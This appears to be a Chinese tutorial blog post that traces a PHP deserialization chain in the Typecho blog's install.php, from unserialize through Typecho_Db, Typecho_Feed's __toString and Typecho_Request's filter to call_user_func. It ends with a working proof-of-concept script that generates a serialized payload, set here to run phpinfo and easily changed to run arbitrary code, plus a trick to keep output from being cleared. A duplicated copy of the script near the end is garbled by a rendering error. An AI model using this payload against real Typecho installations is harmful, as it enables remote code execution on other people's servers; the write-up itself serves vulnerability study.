typecho反序列化漏洞(详细过程)

typecho反序列化


菜鸡的第一条链子,酌情参考

搭建环境

利用phpstudy+phpstrom搭建环境调试(注意php版本大于5.4)

开始

漏洞起始点

前提:get方法传?finish=1,refer=http://127.0.0.1 若不设置的话exit,程序结束 详细看install.php前面部分的代码

<?php
                    $config = unserialize(base64_decode(Typecho_Cookie::get('__typecho_config')));
                    Typecho_Cookie::delete('__typecho_config');  //删除$_COOKIE[$key],所以要用post传参
                    $db = new Typecho_Db($config['adapter'], $config['prefix']);
       //这里实例化了一个Typecho_Db对象,将反序列化得到的变量数组中的adapter和prefix传入
                    $db->addServer($config, Typecho_Db::READ | Typecho_Db::WRITE);
                    Typecho_Db::set($db);
                    ?>

追踪get

$config = unserialize(base64_decode(Typecho_Cookie::get('__typecho_config')));

追踪下get()方法,在cookie.php中发现get方法

 public static function get($key, $default = NULL)  
    {
        $key = self::$_prefix. $key;  //
        $value = isset($_COOKIE[$key]) ? $_COOKIE[$key] : (isset($_POST[$key]) ? $_POST[$key] : $default);
        return is_array($value) ? $default : $value;
        //结合Typecho_Cookie::get('__typecho_config')可知post或者cookie传入的__typecho_config变量进行一个反序列化,并且不能为数组。
    }

$_prefix 位于/cookie.php中

private static $_prefix = '';

    /**
     * 路径
     * 
     * @var string
     * @access private
     */

追踪delete

delete()方法位于/cookie.php

Typecho_Cookie::delete('__typecho_config');
 public static function delete($key)
    {
        $key = self::$_prefix . $key;
        if (!isset($_COOKIE[$key])) {
            return;
        }

        setcookie($key, '', time() - 2592000, self::$_path);
        unset($_COOKIE[$key]);
    }
可知当cookie传入__typecho_config后会被删除,所以要通过post的方式传入__typecho_config

跟进对象Typecho_Db

位于Db.php

$db = new Typecho_Db($config['adapter'], $config['prefix']);
// 这里新建了一个Typecho_Db对象,将反序列化得到的变量数组中的adapter和prefix传入,跟进Typecho__Db这个对象
 public function __construct($adapterName, $prefix = 'typecho_')
    {
        /** 获取适配器名称 */
        $this->_adapterName = $adapterName;

        /** 数据库适配器 */
        $adapterName = 'Typecho_Db_Adapter_' . $adapterName; 
     //重点:此处将$adapterName当作字符与Typecho_Db_Adapter_拼接,若将$adapterName赋值为一个对象时,即为把对象当作字符串调用,即可触发__tostring()方法,寻找__tostring

        if (!call_user_func(array($adapterName, 'isAvailable'))) {
            throw new Typecho_Db_Exception("Adapter {$adapterName} is not available");
        }

        $this->_prefix = $prefix;

        /** 初始化内部变量 */
        $this->_pool = array();
        $this->_connectedPool = array();
        $this->_config = array();

        //实例化适配器对象
        $this->_adapter = new $adapterName();
    }

跟进__tostring()方法

在feed.php和Query.php中找到

#feed.php
public function __toString()
    {
        $result = '<?xml version="1.0" encoding="' . $this->_charset . '"?>' . self::EOL;

        if (self::RSS1 == $this->_type) {
            $result .= '<rdf:RDF
xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"
xmlns="http://purl.org/rss/1.0/"
xmlns:dc="http://purl.org/dc/elements/1.1/">' . self::EOL;

            $content = '';  //声明content变量
            $links = array();
            $lastUpdate = 0;

            foreach ($this->_items as $item) {
                $content .= '<item rdf:about="' . $item['link'] . '">' . self::EOL;
                $content .= '<title>' . htmlspecialchars($item['title']) . '</title>' . self::EOL;
                $content .= '<link>' . $item['link'] . '</link>' . self::EOL;
                $content .= '<dc:date>' . $this->dateFormat($item['date']) . '</dc:date>' . self::EOL;
                $content .= '<description>' . strip_tags($item['content']) . '</description>' . self::EOL;
                if (!empty($item['suffix'])) {
                    $content .= $item['suffix'];
                }
                $content .= '</item>' . self::EOL;   //.=  左边拼接右边,类似于+=

                $links[] = $item['link'];

                if ($item['date'] > $lastUpdate) {
                    $lastUpdate = $item['date'];
                }
            }

            $result .= '<channel rdf:about="' . $this->_feedUrl . '">
<title>' . htmlspecialchars($this->_title) . '</title>
<link>' . $this->_baseUrl . '</link>
<description>' . htmlspecialchars($this->_subTitle) . '</description>
<items>
<rdf:Seq>' . self::EOL;

            foreach ($links as $link) {
                $result .= '<rdf:li resource="' . $link . '"/>' . self::EOL;
            }

            $result .= '</rdf:Seq>
</items>
</channel>' . self::EOL;

            $result .= $content . '</rdf:RDF>';

        } else if (self::RSS2 == $this->_type) {
            $result .= '<rss version="2.0"
xmlns:content="http://purl.org/rss/1.0/modules/content/"
xmlns:dc="http://purl.org/dc/elements/1.1/"
xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
xmlns:atom="http://www.w3.org/2005/Atom"
xmlns:wfw="http://wellformedweb.org/CommentAPI/">
<channel>' . self::EOL;

            $content = '';
            $lastUpdate = 0;

            foreach ($this->_items as $item) {
                $content .= '<item>' . self::EOL;
                $content .= '<title>' . htmlspecialchars($item['title']) . '</title>' . self::EOL;
                $content .= '<link>' . $item['link'] . '</link>' . self::EOL;
                $content .= '<guid>' . $item['link'] . '</guid>' . self::EOL;
                $content .= '<pubDate>' . $this->dateFormat($item['date']) . '</pubDate>' . self::EOL;
                $content .= '<dc:creator>' . htmlspecialchars($item['author']->screenName) . '</dc:creator>' . self::EOL;
                                                                //调用当前类的一个私有变量

                if (!empty($item['category']) && is_array($item['category'])) {
                    foreach ($item['category'] as $category) {
                        $content .= '<category><![CDATA[' . $category['name'] . ']]></category>' . self::EOL;
                    }
                }

                if (!empty($item['excerpt'])) {
                    $content .= '<description><![CDATA[' . strip_tags($item['excerpt']) . ']]></description>' . self::EOL;
                }

                if (!empty($item['content'])) {
                    $content .= '<content:encoded xml:lang="' . $this->_lang . '"><![CDATA['
                    . self::EOL .
                    $item['content'] . self::EOL .
                    ']]></content:encoded>' . self::EOL;
                }

                if (isset($item['comments']) && strlen($item['comments']) > 0) {
                    $content .= '<slash:comments>' . $item['comments'] . '</slash:comments>' . self::EOL;
                }

                $content .= '<comments>' . $item['link'] . '#comments</comments>' . self::EOL;
                if (!empty($item['commentsFeedUrl'])) {
                    $content .= '<wfw:commentRss>' . $item['commentsFeedUrl'] . '</wfw:commentRss>' . self::EOL;
                }

                if (!empty($item['suffix'])) {
                    $content .= $item['suffix'];
                }

                $content .= '</item>' . self::EOL;

                if ($item['date'] > $lastUpdate) {
                    $lastUpdate = $item['date'];
                }
            }

            $result .= '<title>' . htmlspecialchars($this->_title) . '</title>
<link>' . $this->_baseUrl . '</link>
<atom:link href="' . $this->_feedUrl . '" rel="self" type="application/rss+xml" />
<language>' . $this->_lang . '</language>
<description>' . htmlspecialchars($this->_subTitle) . '</description>
<lastBuildDate>' . $this->dateFormat($lastUpdate) . '</lastBuildDate>
<pubDate>' . $this->dateFormat($lastUpdate) . '</pubDate>' . self::EOL;

            $result .= $content . '</channel>
</rss>';

        } else if (self::ATOM1 == $this->_type) {
            $result .= '<feed xmlns="http://www.w3.org/2005/Atom"
xmlns:thr="http://purl.org/syndication/thread/1.0"
xml:lang="' . $this->_lang . '"
xml:base="' . $this->_baseUrl . '"
>' . self::EOL;

            $content = '';
            $lastUpdate = 0;

            foreach ($this->_items as $item) {
                $content .= '<entry>' . self::EOL;
                $content .= '<title type="html"><![CDATA[' . $item['title'] . ']]></title>' . self::EOL;
                $content .= '<link rel="alternate" type="text/html" href="' . $item['link'] . '" />' . self::EOL;
                $content .= '<id>' . $item['link'] . '</id>' . self::EOL;
                $content .= '<updated>' . $this->dateFormat($item['date']) . '</updated>' . self::EOL;
                $content .= '<published>' . $this->dateFormat($item['date']) . '</published>' . self::EOL;
                $content .= '<author>
    <name>' . $item['author']->screenName . '</name>
    <uri>' . $item['author']->url . '</uri>
</author>' . self::EOL;

                if (!empty($item['category']) && is_array($item['category'])) {
                    foreach ($item['category'] as $category) {
                        $content .= '<category scheme="' . $category['permalink'] . '" term="' . $category['name'] . '" />' . self::EOL;
                    }
                }

                if (!empty($item['excerpt'])) {
                    $content .= '<summary type="html"><![CDATA[' . htmlspecialchars($item['excerpt']) . ']]></summary>' . self::EOL;
                }

                if (!empty($item['content'])) {
                    $content .= '<content type="html" xml:base="' . $item['link'] . '" xml:lang="' . $this->_lang . '"><![CDATA['
                    . self::EOL .
                    $item['content'] . self::EOL .
                    ']]></content>' . self::EOL;
                }

                if (isset($item['comments']) && strlen($item['comments']) > 0) {
                    $content .= '<link rel="replies" type="text/html" href="' . $item['link'] . '#comments" thr:count="' . $item['comments'] . '" />' . self::EOL;

                    if (!empty($item['commentsFeedUrl'])) {
                        $content .= '<link rel="replies" type="application/atom+xml" href="' . $item['commentsFeedUrl'] . '" thr:count="' . $item['comments'] . '"/>' . self::EOL;
                    }
                }

                if (!empty($item['suffix'])) {
                    $content .= $item['suffix'];
                }

                $content .= '</entry>' . self::EOL;

                if ($item['date'] > $lastUpdate) {
                    $lastUpdate = $item['date'];
                }
            }

            $result .= '<title type="text">' . htmlspecialchars($this->_title) . '</title>
<subtitle type="text">' . htmlspecialchars($this->_subTitle) . '</subtitle>
<updated>' . $this->dateFormat($lastUpdate) . '</updated>
<generator uri="http://typecho.org/" version="' . $this->_version . '">Typecho</generator>
<link rel="alternate" type="text/html" href="' . $this->_baseUrl . '" />
<id>' . $this->_feedUrl . '</id>
<link rel="self" type="application/atom+xml" href="' . $this->_feedUrl . '" />
';
            $result .= $content . '</feed>';
        }

        return $result;
    }
}

关键点:


            foreach ($this->_items as $item) {
                $content .= '<item>' . self::EOL;
                $content .= '<title>' . htmlspecialchars($item['title']) . '</title>' . self::EOL;
                $content .= '<link>' . $item['link'] . '</link>' . self::EOL;
                $content .= '<guid>' . $item['link'] . '</guid>' . self::EOL;
                $content .= '<pubDate>' . $this->dateFormat($item['date']) . '</pubDate>' . self::EOL;
                $content .= '<dc:creator>' . htmlspecialchars($item['author']->screenName) . '</dc:creator>' . self::EOL;
                                                               
//$item['author']访问了screenName这个属性,该属性为私有属性触发了__get魔术方法

//注意:但是进入这里需要满足条件else if(self::Rss2=this->_type)

跟进get()方法

位于/Request.php

 public function get($key, $default = NULL)
    {
        switch (true) {
            case isset($this->_params[$key]):
                $value = $this->_params[$key];
                break;
            case isset(self::$_httpParams[$key]):
                $value = self::$_httpParams[$key];
                break;
            default:
                $value = $default;
                break;
        }
// 如果_params数组中存在索引值为$key的变量,那么就会将其赋值给$value, 结束 
// 如果_httpParams中存在索引值为$key的变量,那么就会将其赋值给$value,结束
// 如果都不存在的话将$value赋值为$default ,结束


        $value = !is_array($value) && strlen($value) > 0 ? $value : $default; 
     //如果$value为数组且长度大于0就赋值为$default,不是的话就为本身。
        return $this->_applyFilter($value);
    }

###跟进_applyFilter($value)方法

private function _applyFilter($value)
    {
        if ($this->_filter) {
            foreach ($this->_filter as $filter) {
                $value = is_array($value) ? array_map($filter, $value) :
                
                call_user_func($filter, $value);
                    //判断value是否为数组,若是数组执行array_map(),若不是执行call_user_func()
                    //其中$value可以间接控制,所以可以利用array_map和call_user_func来执行代码
                    //array_map() :函数作用到数组中的每个值上,并返回用户自定义函数作用后的带有新的值的数组。
                //call_user_func():看百度
            }

            $this->_filter = array();
        }

        return $value;
    }
//重点来了,如果$filter和$value都可控的话就可以通过回调函数call_user_func()命令执行或者写入木马了

逃出异常类

如将以上发请求到服务器,却会返回500.是因为,开始时install.php在第54行调用了ob_start()

参考:https://www.php.net/manual/en/function.ob-start.php

POC执行会导致Typecho触发异常,并且内部设置了Typecho_Exception异常类,触发异常以后Typecho会自动能捕捉到异常,并执行异常输出。


public static function exceptionHandle(Exception $exception)
    {
        @ob_end_clean();

        if (defined('__TYPECHO_DEBUG__')) {
            echo '<h1>' . $exception->getMessage() . '</h1>';
            echo nl2br($exception->__toString());
        } else {
            if (404 == $exception->getCode() && !empty(self::$exceptionHandle)) {
                $handleClass = self::$exceptionHandle;
                new $handleClass($exception);
            } else {
                self::error($exception);
            }
        }

        exit;
    }

并且经过分析发现程序开头开启了ob_start(),该函数会将内部输出全部放入到缓冲区中,执行注入代码以后触发异常,导致ob_end_clean()执行,该函数会清空缓冲区。

解决方案:让程序强制退出,不执行Exception,这样原来的缓冲区内容就会输出出来。

if (!empty($item['category']) && is_array($item['category'])) {
                    foreach ($item['category'] as $category) {
                        $content .= '<category scheme="' . $category['permalink'] . '" term="' . $category['name'] . '" />' . self::EOL;
                    }
                }

即: 将item中的category赋值为一个对象数组,提前报错退出,就可以显示之前的内容

大致思路

1、通过install.php中的反序列化将adapter和prefix变量传入Typecho_Db实例化对象中

2、通过类Typecho_Db中的__construct魔术方法将adapter视作字符串拼接赋值,调用类Typecho_Feed中的__toString魔术方法

3、访问了_items['author']中的screenName属性,调用Typecho_Request类中的__get魔术方法并且传入$key=screenName

4、定义$this->_params[$key],也就是$this->_params[‘screenName’]为我们想要执行的命令,即可赋值给$value
  call_user_func($filter, $value);


poc

<?php
class Typecho_Request
{
    private $_params = array();
    private $_filter = array();
    //设置item['author']来控制Typecho_Request类中的私有变量,
    //这样类中的_filter和_params['screenName']都可控,call_user_func函数变量可控,任意代码执行。

    public function __construct()
    {
        $this->_params['screenName'] = -1; //执行的参数,显示所有内容
        $this->_filter[0] = 'phpinfo';  //执行的函数
    }
}

class Typecho_Feed
{
    /** 定义RSS 1.0类型 */
    const RSS1 = 'RSS 1.0';

    /** 定义RSS 2.0类型 */
    const RSS2 = 'RSS 2.0';

    /** 定义ATOM 1.0类型 */
    const ATOM1 = 'ATOM 1.0';

    /** 定义RSS时间格式 */
    const DATE_RFC822 = 'r';

    /** 定义ATOM时间格式 */
    const DATE_W3CDTF = 'c';

    /** 定义行结束符 */
    const EOL = "\n";
    private $_type;
    private $_items = array();  //设置item['author'],来控制Typecho_Request类中的私有变量
    public $dateFormat;

    public function __construct()
    {    //对应feed中_tostring魔术方法,
        $this->_type = self::RSS2;
        $item['link'] = '1';
        $item['title'] = '2';
        $item['date'] = 1507720298;
        $item['author'] = new Typecho_Request();   
      //设置item['author']来控制Typecho_Request类中的私有变量,$_filter和$_params,执行call_user_func()
     //这样类中的_filter和_params['screenName']都可控,call_user_func函数变量可控,任意代码执行。
        $item['category'] = array(new Typecho_Request());
        //给item[‘category’]赋值上对象,让其用数组的方式遍历对象时触发错误,强制退出程序。否则会到导致存放在缓冲去的数据被清除,无法返回所求值

        $this->_items[0] = $item;
    }
}

$x = new Typecho_Feed();
$a = array(
    'host' => 'localhost',
    'user' => 'xxxxxx',
    'charset' => 'utf8',
    'port' => '3306',
    'database' => 'typecho',
    'adapter' => $x,   Db.php文件中触发__toString()使用的对象
    'prefix' => 'typecho_'
);
echo urlencode(base64_encode(serialize($a)));
?>

ps

###函数phpinfo()的参数

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-3xsJgBtH-1647137296969)(C:\Users\86136\OneDrive\图片\屏幕快照\PHPinfo.png)]

const

在类里面定义常量用 const 关键字

http://www.5idev.com/p-php_class_const.shtml

https://www.php.net/manual/en/language.oop5.constants.php
new Typecho_Feed();
$a = array(
‘host’ => ‘localhost’,
‘user’ => ‘xxxxxx’,
‘charset’ => ‘utf8’,
‘port’ => ‘3306’,
‘database’ => ‘typecho’,
‘adapter’ => KaTeX parse error: Expected group after '_' at position 21: …/// Db.php文件中触发_̲_toString()使用的对…a)));
?>


## ps

###函数phpinfo()的参数



### const

在类里面定义常量用 const 关键字

http://www.5idev.com/p-php_class_const.shtml

https://www.php.net/manual/en/language.oop5.constants.php
  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值